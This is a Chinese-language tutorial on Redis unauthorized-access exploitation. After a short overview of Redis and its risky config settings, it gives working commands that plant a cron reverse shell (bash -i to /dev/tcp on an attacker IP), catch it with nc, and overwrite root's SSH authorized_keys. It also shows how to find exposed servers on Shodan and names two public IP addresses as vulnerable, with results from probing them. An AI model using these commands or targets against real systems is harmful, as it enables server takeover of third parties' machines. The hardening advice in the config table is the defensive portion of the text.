Redis
Redis(Remote Dictionary Server)是一个开源的高性能键值对(key-value)数据库,支持多种类型的数据结构。
核心特性
内存存储:Redis将所有数据存储在内存中,能够提供极高的读写性能。
持久化:虽然Redis是内存数据库,但提供了两种持久化机制:
RDB(Redis Database):在指定的时间间隔内将内存中的数据快照保存到磁盘。
AOF(Append Only File):记录每次写操作命令,并在服务器启动时重新执行这些命令来恢复数据。
漏洞成因
开发者配置不当,数据库对用户连接无限制,随意进行数据读写,并利用持久化机制,将文件保存至服务器,任意文件路径下
危险的配置文件项
配置项 | 问题描述 | 安全建议 |
---|---|---|
监听配置 (bind ) | 默认可能绑定到 0.0.0.0 ,允许所有IP访问 | 绑定到内网地址或特定安全的网络接口 |
端口配置 (port ) | 通常开放标准端口,容易被发现 | 更改为非标准端口,减少被扫描的机率 |
密码设置 (requirepass ) | 默认无密码设置 | 设置强密码,避免未授权访问 |
防火墙 | 不启用,或配置过于宽松 | 启用并严格配置 ,限制用户和命令的权限 |
保护模式 (protected-mode ) | 若设置为 no ,在无密码的情况下任何IP都可以连接 | 保持默认的 yes ,或在禁用时确保使用强密码和 ACL |
漏洞危害
1.服务器目录结构泄露
2.任意文件上传
3.服务器接管
redis常用操作
别名配置【详细点击主页查找】
alias redis='/usr/local/redis-6.0.9/src/redis-server /usr/local/redis-6.0.9/redis.conf'
alias rcli='/usr/local/redis-6.0.9/src/redis-cli'
1.远程连接redis服务器
rcli -h 服务器ip地址 -p 运行redis服务的端口默认6379
rcli -h 39.108.91.74 -p 6379
2.读写数据
写:set 键名 数据
读:get 键名
3.获取服务器信息
39.108.91.74:6379>info
4.获取配置文件信息[两行为整体,一行键一行值]
106.15.138.150:6379> config get *
5.获取当前所有键
106.15.138.150:6379> keys *
6.动态修改文件保存路径及文件名
修改保存文件名:config set dbfilename 文件名
修改保存路径:config set dir 文件保存路径
7.将数据保存文件
106.15.138.150:6379> save
8.利用报错,判断文件保存是否成功
存在文件但不是目录类型: (error) ERR Changing directory: Not a directory
没有这样的文件或目录: (error) ERR Changing directory: No such file or directory
9.删除所有数据
flushall
redis漏洞利用
环境检验
攻击机:192.168.10.5
靶机:192.168.10.6
1.攻击机靶机正常通信
2.靶机开启redis服务
3.靶机检查redis端口状态
netstat -an
列出所有网络连接和监听的端口。通过管道
|
传递给grep 6379
命令。
grep 6379
搜索包含 "6379" 的行,并将结果输出到终端。
4.攻击机和靶机关闭防火墙
5.攻击机连接靶机redis服务
写入反弹连接
1.将cron表达式存储与随机键下
set x "\n* * * * * bash -i >& /dev/tcp/192.168.10.5/7777 0>&1\n"
每分钟对192.168.10.5的7777端口建立tcp连接,加入\n换行符防止其余保存数据对任务造成影响
2.配置保存路径,修改为定时任务目录下
config set dir /var/spool/cron/
cron目录:目录下存放以用户名命名的定时任务
3.修改保存文件名,改为root,使root用户每分钟执行一次表达式
config set dbfilename root
靶机已存在该文件。redis权限为root可以进行覆盖
4.保存
save
5.查看靶机root用户的计划任务是否添加成功[]
config set dir /var/spool/cron/root
(error) ERR Changing directory: Not a directory
当前目录下有root文件
6.使用nc监听靶机7777端口,进行反向连接
nc -lvp 7777
连接成功:
<1.查看靶机计划任务
写入ssh密钥实现免密登录
使用场景:目标主机存在开启了ssh服务的端口,且存在.ssh文件夹
原理:通过redis写入公钥文件,将源文件进行覆盖
密钥相关知识文章见主页其他文章
测试密钥登录
<1.复制公钥上传至靶机
靶机下出现文件 /root/.ssh/authorized_keys
<2 使用私钥进行登录
<3 删除密钥文件authorized_keys 留存.ssh
redis写入密钥
1.将公钥内容拼接换行符写入redis
2.动态修改保存路径和文件名并将文件保存
3.使用私钥进行登录
如何寻找redis未授权访问漏洞
进入shodan
https://www.shodan.io
搜索关键字
port:6379
存在漏洞的ip
39.108.91.74:6379
读写:正常
动态修改:异常
文件路径:异常
106.15.138.150:6379
读写:正常
动态修改:正常
文件路径:正常
连接:异常